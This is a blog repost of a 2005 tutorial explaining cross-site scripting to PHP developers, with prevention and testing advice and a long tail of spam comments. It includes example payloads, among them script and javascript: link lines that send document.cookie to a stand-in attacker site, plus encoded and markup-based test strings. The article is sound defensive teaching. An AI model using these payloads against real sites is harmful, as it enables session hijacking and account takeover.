Cross-site scripting could make you lose your cookies

12 February, 2009 at 4:26 pm 59 comments

The following article was originally written in July 2005 and published on SitePoint.com, and is republished with permission.  For securing your web application you should probably also read about CSRF and clickjacking.

Cross-site scripting (XSS) is a form of security exploit that threatens any web application. In the past, its severity has tended to be underestimated. The problems go far beyond annoyances and practical jokes perpetuated by script kiddies. By stealing your cookies, Cross-site scripting attacks can allow attackers to gain administrative access to your web application.

How does it come about? The problem forms when a web application (such as a PHP script) displays user-submitted content without filtering and/or escaping it properly. If a user submits a guestbook entry, a blog comment, or even a username and password, that content could contain any character, including characters such as <, &, or which have a different, and special, meaning when they appear as part of HTML.  If the same guestbook entry, blog comment or username field is saved by the web application and later displayed as part of a web page, without any intervening filtering or escaping, then any incidental < characters, which in a plain text field should have no special significance, will be interpreted by browsers as HTML tags.   Any user who happened to slip the character sequence <script into such a field may be able to cause Javascript code to run in the browsers of other people who view the page.

This code may either be relatively harmless – for example, creating unwanted popups or spam – or malicious – code that is intended to gain private information in order to break into each user’s account on the system.

Although cross-site scripting often involves the insertion of a <script> tag into a web page, it is possible to do some damage with other code.  There are many ways to run Javascript in a browser other than through the use of a <script> tag, as well as many other forms of active content besides Javascript.  The XSS cheat sheet is the most thorough list of XSS attack vectors I know of, and show various methods of obfuscating or encoding XSS that may be used other than <script> tags.

Relatively harmless uses of Cross Site Scripting:

  • Code intended to disrupt the layout or appearance of a web page.
  • Scripts, applets or objects intended as a practical joke, displaying annoying messages or popups.
  • Code intended to launch unwanted popup windows for advertising or shock value.

Some more harmful uses of Cross Site Scripting:

  • Scripts, including Javascript or another form of active content, designed to collect private information from cookies and transmit it to a third party website in order to gain administrator access to the system.
  • Objects or applets intended to exploit a known security vulnerability in a particular browser.

Life cycle of a cross-site scripting exploit

I find that cross-site scripting can be a difficult concept to picture. I’ll lead you through a typical cross-site scripting scenario, to gives some examples of what is possible.

Joe has built himself a custom CMS complete with user accounts, sessions and different access levels for different users. To log into his CMS, he enters a username and password into a login form on the site. For the duration of his browser session, a cookie stores his ’session ID’ which allows him to remain logged-in while navigating around the site.

Joe’s website also allows any user to sign up for a new account, and place a ‘message’ onto the Website. For example, a message can be placed in a blog comment, or in the user’s profile, or even the user’s username. Unfortunately, Joe forgot to use htmlspecialchars or an equivalent to escape plain text in HTML in some places where he echoes user-submitted content to the browser.

A malicious user, Rick, signs up at Joe’s website and fills out his new profile page. In his user profile, he includes the text:

<script>alert('Hello World');</script>

Now, whenever Joe (or anybody else) views Rick’s user profile, he gets an annoying JavaScript popup taunting him.

Rick gets a little craftier and places the following code into a guestbook entry of Joe’s page:

<script>location.replace('http://rickspage.com/?secret='+document.cookie)</script>

Now, whenever Joe (or anybody else) views the guestbook, he will be redirected to a page on Rick’s site. What’s more, the cookie from Joe’s browser session has been transmitted to Rick’s web server as part of the URL.

Rick now uses the cookie from Joe’s browser session to browse Joe’s CMS using Joe’s account. Rick may even be able to change Joe’s password, give himself administrator access, or start deleting content.

Rick gained administrator access to Joe’s CMS by placing a <script> tag into Joe’s guestbook. What we are dealing with here is session hijacking – stealing the session ID (which is often stored in a cookie) from another user in order to impersonate them on the system.  XSS is a way for an attacker to obtain access to sessions on another server.

Rick could have used other methods to achieve the same result. For instance, Rick could have used a JavaScript link to trick Joe into sending the very same information to his server:

<a href="javascript:location.replace('http://rickspage.com/?secret='+document.cookie)">
A web page about dogs</a>

If Joe clicked that link, as he may do without even thinking, his session ID would be transmitted to Rick’s server.

Furthermore, Rick could have embedded his JavaScript into event handler attributes such as onclick, onmousemove and onsubmit – the latter which could be used to modify the behaviour of a form on the site.

Rick could also have tried using tools other than JavaScript – such as ActiveX controls or applets.

Patch those holes

Below are some steps which you can take to help prevent cross-site-scripting attacks from being used on your PHP application, and to limit the amount of damage that can be done in the event that someone finds a way anyhow.

Whenever displaying plain text content on your web site, escape the plain text string before doing so.  In PHP, a simple way to do this is to use the htmlspecialchars function on the data right before. This includes all plain text data, whether it be user-submitted or not.  The idea is that < and & characters need to be escaped whether their use is malicious or not.

You may be displaying unfiltered user-submitted content where you don’t realise it. For example, the following is dangerous.

if (strlen($_GET['username']) > 12)
  exit("Error: {$_GET['username']} is too long. Your username may be no more than 12 characters");

In this case, the user variable “username” is being sent to the browser without being escaped. A user could construct a URL similar to the following and trick people into clicking it:

http://www.example.com/register.php?username=%3Cscript%3Ealert('gotcha')%3B%3C%2Fscript%3E

The JavaScript above is harmless, but could be modified to steal information from cookies and transmit it to a third party.  Notice that here, the <script> tag is URL encoded.  This will automatically be decoded by the server.

You can also reduce the amount of damage that could be done if a user does hijack a user session. When designing your CMS, do not rely entirely on cookies for user authentication.  Cookies are an excellent convenience feature for users, so their use is encourage, but there are some highly important tasks that may call for more protection.  In addition to the cookie, users should also be asked for their password when they undertake activities such as changing their (or anybody else’s) password or escalating their privilege level. So, if your session is hijacked using your session ID, the attacker won’t be able to lock the rightful account owner out of the account or retain control over the account after they leave. Reducing the risk in the case of an attack, however, should be a secondary priority to preventing an attack in the first place.

What if you want your users to be allowed to submit HTML?

Escaping plain text for output is easy.  All that needs to be done is to replace a small set of special characters with their escaped equivalents in HTML.

However, if a web application allows users to submit actual HTML (say, from a rich text editing control, or even prompting the user to type HTML in manually), then filtering this for safe output on a web page becomes much harder.  Filtering HTML cannot be reliably done with a search and replace statement or two, or even a highly complex regular expression.  Any filter would need to be able to interpret the HTML in the same way that a browser – any browser – might, and browsers do some strange things.

A common compromise, as seen on many blogs, is to allow only a small subset of HTML.  This makes filtering considerably more attainable than otherwise, but by no means simple.  A read through of the XSS cheat sheet will reveal the necessary complexity of any required filtering mechanism.  What’s more, new methods of defeating XSS filters are discovered all the time (and may be added to the XSS cheat sheet at a later date).

I myself have written a rather comprehensive HTML and XHTML filter in PHP, and it consists of 3 files of source code with over 2000 lines of code in total, not including DTDs.  It is capable of understanding the entire HTML language in terms of its DTD.  To say it is complicated is an understatement, and it still has its limitations.  If you wanted to go down that path you could use HTML Tidy, I presume, incorporated with your own filtering code to make the filtering part a bit easier.

Testing for cross-site scripting vulnerabilities in your application

A way to test for Cross Site Scripting vulnerabilities is to insert testing code into every field, and every variable passed on the query string, that you can find in your application.

The XSS cheat sheet that I mentioned above is the best source of XSS testing code that I know of.

Try, for example, inserting the following code where you would like to test.

<script>alert('Hello World!');</script>

Then, visit your blog to see what the comment looks like. If you see the code as you submitted it, your application handled it correctly. If your comment is blank, and you see a JavaScript popup, your application is vulnerable.

It’s important to not just test the obvious places where users can submit content. Think outside the square. For example, you display usernames all over the place – could a user possibly embed HTML or JavaScript into a username? What about user signatures? Secret questions and answers?

Cross Site Scripting can even be a problem in situations where HTML is filtered out of user-submitted content but another markup language is used.

Forum code or “BBcode”:

[url=javascript:alert('Yes');]Are you vulnerable?[/url]

Wiki markup:

[javascript:alert("Yes");|Are you vulnerable?]

Is your forum or wiki vulnerable?

The above two exploits (for bulletin boards and Wikis) require an unsuspecting user to actually click the link in order for the script to be executed. Interestingly, when I first wrote this article, I was surprised to find that a wiki I used at work was vulnerable to this. If anybody is tricked into clicking a link, any JavaScript in that link will run.

More information about cross-site scripting is available in this CERT Advisory and this document from Apache. The Apache document points out, rightly, that the name “Cross-site scripting” is a misleading term, since the attacks need not involve scripting, and they need not even be across sites. Previously at SitePoint, Harry talked about Handling Content From Strangers, which gives some more information on how you can protect your application from exploits.

Have a look at this very thorough article by Chris Shiflett on preventing cross-site scripting attacks.

Cross-site scripting is only one possible form of remote attack on a web application. It is probably one of the most common vulnerabilities in web applications.  However, other common vulnerabilities such as CSRF, including Login CSRF (PDF), and clickjacking, are just as serious.

Advertisements

Entry filed under: Software development. Tags: , , , .

Evaluating Photoshop Lightroom and ACDSee Pro Photo Manager Is Gmail suitable for use as your main email box?

59 Comments Add your own

  • 1. miglior ferro da stiro  |  26 May, 2016 at 4:56 pm

    Appreciating the dedication you put into your blog and
    in depth information you present. It’s nice to come across a blog every once in a while that isn’t the same outdated rehashed information. Great read!
    I’ve saved your site and I’m including your RSS feeds to my Google account.

    Reply
  • 2. diariokarma.com  |  26 May, 2016 at 12:09 am

    If you wish for to obtain much from this post then you have to
    apply these methods to your won website.

    Reply
  • 3. Disque dur externe  |  23 May, 2016 at 8:55 am

    This website truly has all the information I wanted concerning this subject and didn’t know who to
    ask.

    Reply
  • 4. Disque dur externe  |  20 May, 2016 at 10:55 pm

    Thanks in favor of sharing such a good thinking, piece of writing is nice, thats why i have
    read it fully

    Reply
  • 5. machine a Coudre  |  20 May, 2016 at 10:43 pm

    Undeniably imagine that that you stated. Your favorite reason seemed to be on the web the easiest thing to remember of.
    I say to you, I definitely get annoyed while other people think about issues that they plainly do not understand about.

    You controlled to hit the nail upon the highest and also defined
    out the whole thing without having side effect , folks can take a signal.
    Will probably be back to get more. Thank you

    Reply
  • 6. Barbecue Elettrico  |  20 May, 2016 at 10:24 pm

    I absolutely love your blog and find most
    of your post’s to be what precisely I’m looking for.
    Do you offer guest writers to write content for you?

    I wouldn’t mind creating a post or elaborating on most of the subjects you write concerning here.

    Again, awesome website!

    Reply
  • 7. Imprimante laser  |  20 May, 2016 at 10:14 pm

    If some one needs expert view on the topic of blogging and site-building after that i propose him/her to go
    to see this blog, Keep up the nice job.

    Reply
  • 8. disco duro externo  |  17 November, 2015 at 9:26 am

    It’s amazing for me to have a website, which is helpful for my experience.
    thanks admin

    Reply
  • 9. scopa a vapore  |  5 November, 2015 at 8:27 pm

    It’s nearly impossible to find knowledgeable people on this subject, however,
    you seem like you know what you’re talking about! Thanks

    Reply
  • 10. lincoln-photography.com  |  13 October, 2015 at 5:58 am

    I have learn some just right stuff here. Definitely price bookmarking for revisiting.
    I surprise how a lot effort you place to make this type of excellent informative web site.

    Reply
  • 11. Doug  |  27 September, 2015 at 8:17 pm

    Hi there mates, how is all, and what you wish for to say on the topic of this paragraph, in my
    view its actually amazing in favor of me.

    Reply
  • 12. netspaceinternet.com  |  10 April, 2015 at 6:46 pm

    Fine way of telling, and nice piece of writing to take data about my presentation topic, which i
    am going to present in university.

    Reply
  • 13. Cual camara Reflex es Mejor  |  6 April, 2015 at 6:14 pm

    This is the perfect webpage for everyone who would like to understand this topic.
    You know a whole lot its almost hard to argue with you (not that I personally will
    need to…HaHa). You certainly put a brand new spin on a topic which has been discussed for many years.

    Wonderful stuff, just great!

    Reply
  • 14. Av receiver test 2015  |  29 March, 2015 at 3:35 pm

    Outstanding post but I was wondering if you could write a litte more
    on this topic? I’d be very grateful if you could elaborate a
    little bit further. Appreciate it!

    Reply
  • 15. passeggini 2015  |  24 March, 2015 at 12:01 am

    Magnificent web site. Lots of helpful info here. I am sending it to a
    few friends ans also sharing in delicious. And certainly, thank you on your sweat!

    Reply
  • 16. comparatif appareil Photo compact de 2015  |  14 March, 2015 at 3:10 pm

    I’m impressed, I must say. Rarely do I encounter
    a blog that’s equally educative and amusing, and let me tell you, you’ve hit the nail on the head.
    The issue is something that too few people are speaking intelligently
    about. I am very happy that I came across this during
    my search for something regarding this.

    Reply
  • 17. Migliori router wifi  |  14 March, 2015 at 1:59 pm

    I know this website gives quality based content and extra
    material, is there any other site which offers these kinds of things in quality?

    Reply
  • 18. meilleur tablette  |  7 March, 2015 at 6:25 am

    hello!,I really like your writing very so much!

    share we be in contact more approximately your article on AOL?

    I need a specialist on this area to unravel my problem.
    May be that’s you! Taking a look forward to see you.

    Reply
  • 19. Best washer and dryer 2015  |  5 March, 2015 at 11:01 pm

    I’m amazed, I must say. Seldom do I come across a blog that’s
    both educative and entertaining, and let me tell you, you have hit the nail on the head.
    The issue is something that too few men and women are speaking
    intelligently about. Now i’m very happy that
    I came across this in my hunt for something relating to this.

    Reply
  • 20. kemengfa.com  |  2 March, 2015 at 8:05 am

    I’m amazed, I must say. Seldom do I encounter a blog that’s equally educative and interesting, and without a doubt,
    you have hit the nail on the head. The problem
    is something which not enough men and women are speaking intelligently about.

    Now i’m very happy I found this during my hunt
    for something regarding this.

    Reply
  • 21. freemoneymlm.com  |  1 March, 2015 at 4:38 pm

    After I initially commented I seem to have clicked the -Notify me when new comments
    are added- checkbox and from now on whenever a comment is added I recieve four emails with the
    same comment. Is there a way you can remove me from that service?
    Cheers!

    Reply
  • 22. top flat irons of 2015  |  26 February, 2015 at 2:41 pm

    If you are going for most excellent contents like myself, only pay a visit this site
    every day for the reason that it presents feature contents,
    thanks

    Reply
  • 23. top lisseur  |  23 February, 2015 at 7:56 am

    Just desire to say your article is as surprising.
    The clearness in your post is simply excellent and i can assume you are an expert on this subject.
    Fine with your permission let me to grab your RSS feed to keep up
    to date with forthcoming post. Thanks a million and please continue the rewarding work.

    Reply
  • 24. mejor carrito de bebe  |  17 February, 2015 at 9:45 pm

    Spot on with this write-up, I truly feel this amazing site needs a
    great deal more attention. I’ll probably be back again to see more, thanks for the advice!

    Reply
  • 25. mejores tv led del 2015  |  13 February, 2015 at 1:40 pm

    I really like reading an article that can make men and women think.
    Also, many thanks for allowing me to comment!

    Reply
  • 26. comparatif centrale vapeur  |  12 February, 2015 at 6:31 am

    There is certainly a great deal to know about this subject.
    I love all the points you’ve made.

    Reply
  • 27. Ahmad  |  29 January, 2015 at 7:55 pm

    There’s definately a lot to learn about this issue.
    I love all of the points you have made.

    Reply
  • 28. Vicky  |  28 January, 2015 at 5:03 pm

    I always spent my half an hour to read this web site’s articles every day along with
    a cup of coffee.

    Reply
  • 29. Best mirrorless cameras compared  |  25 January, 2015 at 2:23 pm

    Greetings! I’ve been following your site for a while now and finally
    got the courage to go ahead and give you a shout out from Austin Texas!
    Just wanted to say keep up the great job!

    Reply
  • 30. Top HDTVs Of 2015  |  21 January, 2015 at 4:55 pm

    hello!,I love your writing so so much! share we keep up a correspondence extra approximately your post on AOL?
    I require a specialist in this house to solve my problem.
    May be that’s you! Having a look forward to peer
    you.

    Reply
  • 31. 24karatjewelry.com  |  20 January, 2015 at 4:18 pm

    I like the valuable info you supply to your articles.
    I’ll bookmark your blog and check again right here regularly.
    I’m somewhat sure I will be told plenty of
    new stuff right here! Good luck for the next!

    Reply
  • 32. What are the best inearheadphones  |  10 January, 2015 at 11:50 am

    I know this website presents quality based content and
    other data, is there any other web page which presents such
    information in quality?

    Reply
  • 33. Deena  |  10 January, 2015 at 12:20 am

    What’s up every one, here every one is sharing these kinds of
    knowledge, so it’s nice to read this web site, and I used to pay
    a visit this web site every day.

    Reply
  • 34. Leonida  |  5 November, 2014 at 3:35 pm

    If some one wants to be updated with most recent technologies therefore he must be visit this web page and be up to date
    daily.

    Reply
  • 35. Rodrigo  |  25 September, 2014 at 9:30 pm

    Three different private contractors on your project.
    Be careful about paying sales tax and rush charges
    for a new property is a top priority. O’Green went to work
    with its products and processes of window cleaning etc.

    Tony: I’ve heard from clients at affordable pricing, then the pilots try
    to sort school bus it out. This person most likely aware school bus the remodeling, flooring, tile grout,
    carpeting and plumbing.

    Reply
  • 36. Heather  |  27 October, 2013 at 12:06 pm

    “Cross-site scripting could make you lose your cookies | The
    Bit Depth Blog” ended up being a excellent blog. In case it
    owned more pix this might be even a lot better. Cya -Katrina

    Reply
  • 37. #  |  25 July, 2013 at 6:17 pm

    See, this is probably one of the big shovel strategies, proven to be highly expensive.
    The Benefits of Screen doors with Pet doorsThe obvious benefit to
    having any type of wood depending on the style you choose.
    What does it eat? A wooden garage door may be a hard
    task to accomplish. Upshot is that the door will match the door.
    The modern version of this old remedy is a draft guard for
    door. You will only need a couple of cents there
    can really add some serious aesthetic value to your home.

    Reply
  • 38. Keeley  |  24 July, 2013 at 3:24 am

    Canine bunk beds What do pet owners need to know what
    to look for. The use of clove oil and two drops of mint oil.

    Reply
  • 39. Easiest Way To Learn A Foreign Language  |  19 June, 2013 at 5:50 pm

    Learning Spanish once a very the second communication ancient in functional life is in fact what developed Megan shine academically, and furthermore My partner and i
    know it. French one particular of this numerous commanded languages one of the exact newest
    scholars in today’s market.

    Reply
  • 40. best high quality link building  |  20 May, 2013 at 10:58 am

    Liked this recipe .. Extra product to it and it had been splendid!
    ! Fine results at evening meal get together… Many thanks

    Reply

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Trackback this post  |  Subscribe to the comments via RSS Feed


Tweets


%d bloggers like this: